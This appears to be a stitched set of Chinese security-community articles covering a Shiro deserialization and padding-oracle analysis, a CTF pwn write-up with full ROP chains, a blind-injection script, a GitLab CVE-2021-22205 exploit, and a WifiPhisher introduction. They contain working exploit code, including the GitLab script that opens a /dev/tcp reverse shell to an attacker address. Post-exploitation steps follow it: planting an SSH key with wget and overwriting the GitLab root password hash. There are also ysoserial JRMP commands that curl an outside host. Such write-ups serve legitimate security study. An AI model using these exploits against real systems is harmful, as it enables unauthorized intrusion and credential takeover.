value，然后根据原始IV计算出明文，也可以通过修改原始IV控制密文结果；再拿第一二组，用padding的方式爆破intermediary
value，此时的初始IV为第一组的密文，以此类推。
#### 防御
漏洞的关键点在于攻击者能够判断其padding的结果，在使用CBC模式的分组加密算法需要注意这一点，比如让服务端加上异常处理等等。
> 实验代码：[Demo](media/15832217572390/Demo.py)
### CBC字节反转
在乌云知识库里有一篇文章的例子说的比较清晰：[CBC字节翻转攻击-101Approach](http://drops.xmd5.com/static/drops/tips-7828.html)，
再来参考[ctfwiki中对CBC模式的介绍](https://ctf-wiki.github.io/ctf-wiki/crypto/blockcipher/mode/cbc-zh/)：
简单来说，通过构造第n的密文块为`C(n) xor P(n+1) xor A`，使得第n+1密文块为A(个人觉得CTFWiki这里写错了)，为什么呢？
`C(n) xor P(n+1)`的结果实际上就是第n+1组的`intermediary value`，在解密时让`intermediary
value`自己异或自己得全0，然后再异或A得A。如下图所示：
简而言之，通过损坏密文字节来改变明文字节，攻击条件为知道一组明文和密文。
## CVE-2016-4437: Shiro 反序列化(Shiro <= 1.2.4)
Apache Shiro是一个开源安全框架，提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。
### 环境搭建
去github上下一个[shiro 1.2.4](https://github.com/apache/shiro/archive/shiro-root-1.2.4.zip):
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
然后修改shiro/samples/web/pom.xml
<!-- 需要设置编译的版本 -->
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
· <!--加一个gadget-->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>
编译：`sudo mvn package`
爆了这样的错：
先得去搞个jdk1.6来，mac下弃用了，参考这篇文章：[https://blog.csdn.net/q258523454/article/details/84029886，去这里下[mac的jdk1.6][6]。](https://blog.csdn.net/q258523454/article/details/84029886%EF%BC%8C%E5%8E%BB%E8%BF%99%E9%87%8C%E4%B8%8B%5Bmac%E7%9A%84jdk1.6%5D%5B6%5D%E3%80%82)
然后切换到root创一个文件：/var/root/.m2/toolchains.xml
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<!--插入下面代码-->
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<!--这里是你安装jdk的文件目录-->
<jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk/</jdkHome>
</configuration>
</toolchain>
</toolchains>
再编译就能成功了：
将这个war包放到tomcat的webapp目录下，然后访问`http://127.0.0.1:8080/shiro/`会自动解压：
也可以把它导到idea里打包，接着配置idea，这里踩了坑EDU版本是没有tomcat server的，一定要用旗舰版：
### 漏洞复现
EXP打ysoserial的二链：[shiro1.2.4RCE](media/15832217572390/shiro1.2.4RCE.py)
### 代码分析
#### 加密
先下个断点：org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin，去login.jsp登录root
secret，选中Remember Me。
在`forgetIdentity`函数中处理了request和response请求，在response中处理remember me的cookie。
再跟进`rememberIdentity`函数：
调用`convertPrincipalsToBytes`将账户信息传入，先是进行序列化，再来一个加密：
跟进`encrypt`函数：
`getCipherService`先获取了一下加密服务的配置信息，包括加密模式，填充方式，加密类型等等：
`cipherService.encrypt`
其中秘钥在AbstractRememberMeManager.java中设置的一个定值：
通过构造方法设置的：
在加密过程中需要关注的一个点，将iv向量放置在密文头部：org/apache/shiro/crypto/JcaCipherService.java
加密完成后，返回结果传入`rememberSerializedIdentity`函数，处理http请求，返回cookie到response中：
到这里cookie加密处理就结束了，再来跟一下是如何解密cookie的。
#### 解密
org/apache/shiro/mgt/AbstractRememberMeManager.java#getRememberedPrincipals
先从`getRememberedSerializedIdentity`函数获取cookie，base64解码：
然后进入`convertBytesToPrincipals`函数，先是解密，接着反序列化
### 坑点：反序列化限制
网上大部分文章都是拿common-collections2这调链来复现，畅通无阻。
我们来试试其他链，把gadget换成ysoserial5打shiro自带的`commons-collections-3.2.1`，会抛出这样一个错误：
再把其组件拉出来单独试试：
调试分析一下：org/apache/shiro/io/DefaultSerializer.java
跟进`ClassResolvingObjectInputStream`类：org/apache/shiro/io/ClassResolvingObjectInputStream.java
他继承了`ObjectInputStream`类，重写了`resolveClass`方法，再来看一下原版`resolveClass`方法：
`Class.forName`和`ClassUtils.forName`的差别，来看看`ClassUtils`具体实现：org/apache/shiro/util/ClassUtils.java#forName
shiro不是像原版那样通过`java.lang.Class`反射获取class，而是通过`ParallelWebappClassLoader`去加载class
查了一些下资料，看到[orange师傅文章](http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html)评论中说不支持装载数组类型，这里没细跟原因了。
#### JRMP绕过
[Orang师傅在文章](http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html)中一顿操作，发现JRMP可以避开上述限制，测试一下：
server：
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl http://x.x.x.x:8989'
client:
java -jar ysoserial.jar JRMPClient 'x.x.x.x:12345'
稍微调了一下EXP,大概能行的原因就是走的远程的class加载的，而不是像之前那样直接打本地：
不过有一点比较困惑，用URLDNS打了没结果，但是直接用5链JRMP打却可以…
## Shiro Padding Oracle攻击（Shiro <= 1.4.1）
### 漏洞复现
EXP用[3ndz/Shiro-721](https://github.com/3ndz/Shiro-721)，shiro的版本1.4.1配置过程参考上文。
yso生成个jrmpclient：
java -jar ysoserial.jar JRMPClient 'x.x.x.x:12345' > JRMPClient
服务端起一个jrmplistener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections2 'curl http://x.x.x.x:8989'
python2 shiro_padding_oracle.py http://127.0.0.1:8088/samples_web_war_exploded/index.jsp [rememberMe的cookie] JRMPClien
### 漏洞分析
先来看看这个版本对秘钥的处理：org/apache/shiro/mgt/AbstractRememberMeManager.java
一直跟进，可以看到将之前的硬编码秘钥换成了动态生成：
#### padding错误
在我们给rememberMe输入错误的padding后，经过上文提到的解密过程后，会抛出异常:/org/apache/shiro/crypto/JcaCipherService.class
然后在org/apache/shiro/mgt/AbstractRememberMeManager.java#getRememberedPrincipals捕获
最后在org/apache/shiro/web/servlet/SimpleCookie.java中给返回包设置一个rememberMe的cookie，覆盖掉之前的值：
调用栈：
#### padding正确，反序列化错误
在之前的padding
oracle漏洞中，依靠控制前一块密文来伪造后一块的明文，根据Padding的机制，可构造出一个bool条件，从而逐位得到明文，然后逐块得到所有明文。
也就是说通过padding获取来伪造明文的，会改变前一块的密文，也就是会影响到解密的结果。我们来看shiro中对于解密结果的处理，在DefaultSerializer.class中进行反序列化时，会失败而抛出异常：
而对于客户端而言，结果是一样的，都走到了AbstractRememberMeManager.java的异常处理：
接着就是给客户端重置rememberMe的cookie。
#### 拼接序列化数据
在[gyyy:浅析Java序列化和反序列化](https://xz.aliyun.com/t/3847)这篇文章中介绍了java序列化和反序列化的机制，关键点在于ObjectOutputStream是一个Stream，他会按格式以队列方式读下去，后面拼接无关内容，不会影响反序列化。
所以现在BOOL条件就出来了，拼接无关数据，padding 正确，能正常反序列化，padding错误抛出异常。
最后payload的构造就是不断的用两个block去padding得到intermediary之后，构造密文使得解密后得到指定明文，最后拼接到原有的cookie上。
exp: <https://github.com/3ndz/Shiro-721>
参考文章：
* [分析调试apache shiro反序列化漏洞(CVE-2016-4437)](https://saucer-man.com/information_security/396.html)
* [【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞](https://paper.seebug.org/shiro-rememberme-1-2-4/)
* [pwn-ctf-platform-with-java-jrmp-gadget](http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html)
* [Exploiting JVM deserialization vulns despite a broken class loader](https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html)
* [Shiro 721 Padding Oracle攻击漏洞分析](https://www.anquanke.com/post/id/193165)
* [p0:Shiro Padding Oracle Attack 反序列化](https://p0sec.net/index.php/archives/126/)
[1]: <https://www.freebuf.com/articles/web/15504.html>
[2]: <https://ctf-wiki.github.io/ctf-wiki/crypto/blockcipher/mode/cbc-zh/>
[3]: <https://saucer-man.com/information_security/396.html>
[4]: <https://github.com/apache/shiro/archive/shiro-root-1.2.4.zip>
[5]: <http://drops.xmd5.com/static/drops/tips-7828.html>
[6]: <https://support.apple.com/kb/DL1572?locale=zh_CN>
[7]: <https://paper.seebug.org/shiro-rememberme-1-2-4/>
[8]: <http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html>
[9]: <https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html>
[10]: <https://github.com/threedr3am/marshalsec>
[11]: <https://www.anquanke.com/post/id/193165>
[12]: <https://github.com/3ndz/Shiro-721>
[13]: <https://p0sec.net/index.php/archives/126/>
[14]: <https://xz.aliyun.com/t/3847> | 社区文章 |
## 前言
拟态防御是什么，网上一搜就知道，在此不作详述了。想起一次见到拟态防御是在17年的工信部竞赛，当时知道肯定攻不破，连题目都没去打开。近期终于见到一些CTF比赛中出现拟态型的题目，题目不算太难，不过这种题型比较少见，特此记录一下。
## pwn（强网杯 babymimic）
打开压缩包，发现竟然有两个二级制文件，先检查一下保护
[*] '/home/kira/pwn/qwb/_stkof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/kira/pwn/qwb/__stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
两个二进制文件，一个是32位，一个是64位，均为静态编译，漏洞也很明显，是一个简单粗暴的栈溢出。
伪代码如下：
int vul()
{
char v1; // 32位[esp+Ch] [ebp-10Ch] 64位[rsp+0h] [rbp-110h]
setbuf(stdin, 0);
setbuf(stdout, 0);
j_memset_ifunc(&v1, 0, 256);
read(0, &v1, 0x300);
return puts(&v1);
}
因为这是一题拟态的pwn题，跟传统题型相比，加入了拟态的检查机制，大概原理是：题目会同时启动32位程序和64位程序，而我们的输入会分别传入这个两个进程，每个程序一份，然后题目会检测两个程序的输出，若两个程序的输出不一致或任一程序或者异常退出，则会被判断为`check
down`，直接断开链接。只有两个程序的输入一致时，才能通过检查。因此，我们要做的就是构造一个payload，输入到32位程序和64位程序的时候，确保输出流完全一致，也就是用一个payload在32位程序和64位程序都能getshell。
如果不是拟态机制，这道题直接用`ROPgadget`生成ropchain就可以getshell，分分钟就被秒了。
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x080495a3) # int 0x80
但是，32位和64位的汇编码完全不同，函数调用方式也是不同，要如何构造一条payload同时在32位和64位程序getshell呢。出题人非常友好地留了一个漏洞点给我们，留意到32位程序的溢出长度是`0x110`，而64位程序的溢出长度是`0x118`，差了8字节，这就给了我们空间可以构造特殊payload。
思路是：填充完`0x110`字节后，32位程序会到达ret位置，可以寻找一些控制esp的gadget，跳过后面64位的ret到达ropchain，同理64位也能寻找这种gadget跳过32位的ropchain。使用`ROPgadget`查找可以控制sp的gadget，类似`add
sp, 0xc; ret`，然后在payload中指定的位置放置ropchain。
非常幸运，找了两个大小合适的gadget，`ROPgadget`生成的ropchain注意需要修改一下，不然会导致输入过长，要控制payload的长度在0x300以内。
最后需要注意的是，`vul`函数结束时会调用`puts`，为保证输出相同，填充的垃圾数据要用`\x00`进行截断。
完整exp如下：
from struct import pack
# 32bit ropchain
rop32 = ''
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9060) # @ .data
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += '/bin'
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9064) # @ .data + 4
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += '//sh'
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x080481c9) # pop ebx ; ret
rop32 += pack('<I', 0x080d9060) # @ .data
rop32 += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x080d9060) # padding without overwrite ebx
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += p32(0xb)
rop32 += pack('<I', 0x080495a3) # int 0x80
# 64bit ropchain
rop64 = ''
rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
rop64 += pack('<Q', 0x00000000006a10e0) # @ .data
rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret
rop64 += '/bin//sh'
rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
rop64 += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
rop64 += pack('<Q', 0x00000000006a10e0) # @ .data
rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64 += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret
rop64 += p64(0x3b)
rop64 += pack('<Q', 0x0000000000461645) # syscall ; ret
# 32 gadget
add_esp = 0x080a8f69 # add esp, 0xc ; ret
# 64 gadget
add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret
payload = 'kira'.ljust(0x110,'\x00') + p64(add_esp) + p64(add_rsp) + rop32.ljust(0xd8,'\x00') + rop64
p.sendlineafter('try to pwn it?\n',payload)
p.interactive()
## web （RCTF2019 Calcalcalc）
题目来RCTF2019，是一个拟态的web题。
### 题目简单分析
前端是一个next.js的网站，只能输入0-9a-z，加减乘除，空格，括号，同时检查输入长度。
有3个后端决策器，分别是php、node和python执行表达式，3个决策器会对输入进行运算，只有当3个决策器返回的结果一致时，才会输出结果。
例如输入`1+1`，可以得到结果`{"ret":"2"}`。
观察后台的记录，3个决策器均返回了`{"ret":"2"}`
frontend_1 | [Nest] 16 - 06/16/2019, 6:06 AM [AppController] Expression = "1+1"
frontend_1 | [Nest] 16 - 06/16/2019, 6:06 AM [AppController] Ret = [{"ret":"2"},{"ret":"2"},{"ret":"2"}]
输入`eval(1+1)`，可以得到结果`That's classified information. - Asahina Mikuru`。
观察后台的记录，决策器结果不一致，返回错误信息
frontend_1 | [Nest] 16 - 06/16/2019, 6:05 AM [AppController] Expression = "eval(1+1)"
frontend_1 | [Nest] 16 - 06/16/2019, 6:05 AM [AppController] Ret = [{"ret":"2"},"Request failed with status code 500","Request failed with status code 500"]
### 源码分析
首先分析前端的代码，题目进行计算时往`/calculate` post表达式，可以在 **app.controller.ts**
中看到对应的代码，3个IP为后台决策器
@Post('/calculate')
calculate(@Body() calculateModel: CalculateModel, @Res() res: Response) {
const serializedBson = bson.serialize(calculateModel);
const urls = ['10.0.20.11', '10.0.20.12', '10.0.20.13'];
bluebird.map(urls, async (url) => {
fuzz的时候发现是有过滤的，表达式的输入过滤在 **expression.validator.ts**
，首先检查了输入长度，然后再检查输入内容，过滤大部分的命令执行需要用到的字符。
export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) {
return (object: Object, propertyName: string) => {
registerDecorator({
name: 'ExpressionValidator',
target: object.constructor,
propertyName,
constraints: [property],
options: validationOptions,
validator: {
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;
},
},
});
};
}
默认参数在 **calculate.model.ts** ，默认输入最大长度为15，`isVip`默认是`false`
export default class CalculateModel {
@IsNotEmpty()
@ExpressionValidator(15, {
message: 'Invalid input',
})
public readonly expression: string;
@IsBoolean()
public readonly isVip: boolean = false;
}
那么长度限制可以通过，修改发送数据的类型进行绕过。提交json参数，修改`isVip`为`true`，Content-Type修改为`application/json`，这样可以跳过长度判断的语句。
flag在根目录，下一步需要考虑的是如何进行命令注入，由于nodejs不太熟悉，先看一下php和python。
php的决策器主函数 **index.php**
<?php
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);
**linit.ini** 中限制了大量执行命令的函数，暂时想不到绕过的姿势
disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1
再看一下python的决策器主函数 **app.py** ，也是使用`eval`进行计算
@app.route("/", methods=["POST"])
def calculate():
data = request.get_data()
expr = bson.BSON(data).decode()
return bson.BSON.encode({
"ret": str(eval(str(expr['expression'])))
})
python可以用`+`进行字符串拼接，字符过滤可以用ascii编码绕过，绕过方法如下：
>>> eval(chr(0x31)+chr(0x2b)+chr(0x31)) # 1+1
2
由于python的代码在php和nodejs中都是无法运行的，决策器的验证是不可能通过，因此不会有正常结果回显。虽然不会显示命令注入的回显，但是返回结果会等所有决策器返回运行结果后才发送响应包，因此可以使用时间盲注，逐字符进行爆破flag。
注入payload：`__import__("time").sleep(2) if open("/flag").read()[0]=='f' else 1`
决策器的返回结果，其中python决策器是第二个，从返回结果可以看到，可以使用布尔注入。
[Nest] 16 - 06/16/2019, 7:11 AM [AppController] Ret = [{"ret":"timeout"},{"ret":"1"},"Request failed with status code 500"] # False
[Nest] 16 - 06/16/2019, 7:11 AM [AppController] Ret = [{"ret":"timeout"},{"ret":"None"},"Request failed with status code 500"] # True
简单编写暴力爆破exp，提高效率也可以使用二分法爆破。
# -*- coding:utf-8 -*- import requests
import json
import string
header = {
"Content-Type":"application/json"}
url = "http://x.x.x.x:50004/calculate"
def foo(payload):
return "+".join(["chr(%d)"%ord(x) for x in payload])
flag = ''
for i in range(20):
for j in string.letters + string.digits + '{_}':
exp = "__import__('time').sleep(3) if open('/flag').read()[%d]=='%s' else 1"%(i,j)
data = {
"expression": "eval(" + foo(exp) + ")",
"isVip":True
}
try:
r = requests.post(headers=header,url=url,data=json.dumps(data),timeout=2)
#print r.elapsed
except:
flag += j
print "[+] flag:",flag
break
## 总结
拟态型的题目相信之后的比赛会更多的出现，这两题算是小试牛刀吧，期待之后比赛遇到的新题目。 | 社区文章 |
# gitlab未授权RCE（CVE-2021-22205）漏洞复现及深入利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 影响版本
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
## gitlab漏洞环境
使用vulhub的docker环境，但是总是崩掉
尝试自己安装。参考<https://www.yuque.com/h3110n3w0r1d/htbocl/pcbcda>
## 利用方式
通过CVE-2021-22205进行反弹shell
利用脚本：
#!/usr/bin/env python
# -*- coding:utf-8 -*- import requests
from bs4 import BeautifulSoup
class Exploit():
__info__ = {
'name': 'CVE-2021-22205',
'desription': 'gitlab 未授权远程命令执行',
'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205'],
'devices': ['gitlab',
'11.9=< version <13.8.8',
'13.9=< version <13.9.6',
'13.10=< version <13.10.3'
],
}
target = "192.168.236.130"
port = 8888
reverseShell = "echo '/bin/bash -i >& /dev/tcp/{}/{} 0>&1' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && /bin/bash /tmp/shell.sh"
def exploit(self):
session = requests.Session()
requests.packages.urllib3.disable_warnings()
url = "http://{}:{}".format(self.target, self.port)
try:
r = session.get(url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{" + self.reverseShell + "} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
x = req.text
if flag in x:
return "success!!!"
else:
print("[-] Vuln Check Failed... ...")
return 'failed'
except Exception as error:
print(error.with_traceback())
print("[-] Vuln Check Failed... ...")
return 'failed'
def run(self):
res = self.exploit()
return res
if __name__ == '__main__':
exploit = Exploit()
'''
在GitLab CE/EE中发现一个问题，从11.9开始影响所有版本。
GitLab没有正确地验证传递给文件解析器的图像文件，导致远程命令执行
此脚本利用此漏洞进行反弹shell, 测试前请配置好下面的 listenIp 和 listenPort 参数
'''
exploit.target= "192.168.2.83"
exploit.port = 10000
listenIp = "192.168.2.97"
listenPort = "9999"
exploit.reverseShell = exploit.reverseShell.format(listenIp,listenPort)
result = exploit.run()
print(result)
在攻击机器192.168.2.97上监听9999端口
设置漏洞利用脚本的target(192.168.2.83)和port(10000)值
python3运行脚本，成功反弹shell
在linux下，web目录仅仅只有root用户具有写权限。获取的git用户无写权限。
发现git用户具有操作数据库权限，而gitlab自带了访问数据库的命令：gitlab-rails dbconsole
在反弹的shell处，敲入gitlab-rails dbconsole 无法成功访问，一直卡着，如下图：
查看/etc/passwd
gti用户具有ssh登录权限，向git用户用户写入公钥进行登录，写入公钥的命令方式又很多种，这里使用wget命令
先将生成的公钥放在远程服务器下，在反弹shell处将公钥下载到受害者机器上
`wget http://192.168.2.62:8001/gitlab_git.pub`
默认情况下git用户的authorized_keys内容为空，如果存在内容的话，先备份一下，再写入。
写入成功后进行ssh登录即可。登录后如下
再次执行`gitlab-rails dbconsole` 命令
成功获取数据库权限
查看有哪些数据表
发现users表，格式化输出root用户的信息，ps: root的id为1
根据密码特征，可以发现是bcrypt加密，这种加密针对同一种明文每次加密后的密文不一样。也就是说不可逆，但运气好的话，可在cmd5中解开，但又因为gitlab默认的密码策略是8个字符。
最委托的办法就是修改root用户的密码密文值。关于bcrypt加密算法参考<https://blog.csdn.net/fengyingkong/article/details/87377061>
12345678的密文值为`$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa`
执行如下sql命令：
`update users set
encrypted_password='$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa'
where e id =1;`
注意：在实战情况下，修改root密码密文前，先备份一下，事后恢复。
修改成功后，使用root/12345678登录
访问<http://192.168.2.83:10000/admin>
可以看到即使private项目也可以访问
可获取gitlab所有的项目代码。
ps：获取gitlab系统所有项目代码是我最大动力…… 另外上述操作均在gitlab默认配置情况下，若漏洞利用无法复现可留言，一起讨论研究。 | 社区文章 |
# 【安全工具】玩转社会工程学之WiFi钓鱼工具包：WifiPhisher
|
##### 译文声明
本文是翻译文章，文章来源：thevivi.net
原文地址：<https://thevivi.net/2016/06/18/wifi-social-engineering-playing-with-wifiphisher/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[RcoIl](http://bobao.360.cn/member/contribute?uid=870482963)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**背景**
[Wifiphisher](https://github.com/wifiphisher/wifiphisher)是一种安全工具，可以对WiFi客户端进行自动受害者定制的网络钓鱼攻击。Wifiphisher是用Python编写的，由希腊安全研究员[George
Chatzisofroniou](https://twitter.com/_sophron)开发。
Wifiphisher由于其非常规的攻击方式，在无线安全领域造成了浪潮。与传统WiFi攻击不同，它不涉及任何握手捕获或密码爆破，任何测试无线网络的人都习惯了。Wifiphisher的攻击能否成功主要依赖于能否使得受害者将无线网络密钥或更多的资料交付给您，如下所示。
Wifiphisher的操作可以归纳为3阶段攻击：
1 启动一个假的无线接入点（AP） – 也被称为”[evil
twin](http://searchsecurity.techtarget.com/definition/evil-twin)“
2 强制受害者通过向他们和他们所连接的接入点发送去认证数据包，从合法AP中去认证。
3 让他们连接到你的evil twin，并为他们提供一个网页，让他们给你无线网络密码。
看起来似乎是有很多的工作量，但是Wifiphisher的最好的一个地方是它的自动化。以上所有这些都可以通过操作者的最小工作量的交互来完成。Wifiphisher的认证攻击的灵感来自于Dan
McInerney的Wifijammer，您应该肯定会检查出来。
要运行Wifiphisher，您将需要：
一个Linux系统。
2个无线网卡; 一个能够进行注射（用于去认证攻击）。我更中意阿尔法卡，所以我会推荐其中的一个; 像Alfa AWUS036H或Alfa AWUS051NH。
**玩转Wifiphisher**
最初构建了Wifiphisher来捕获无线网络凭据。在撰写本文时，它有3个网络钓鱼场景; 它最受欢迎的是下面的“固件升级”页面。
Wifiphisher使用此网页来说服他们需要进行路由器固件升级，从而诱骗目标的无线网络密码。一旦用户输入密码，它将显示在操作员的终端上，Wifiphisher会关闭假接入点，这样目标就不知道发生了什么事情。
**添加钓鱼场景**
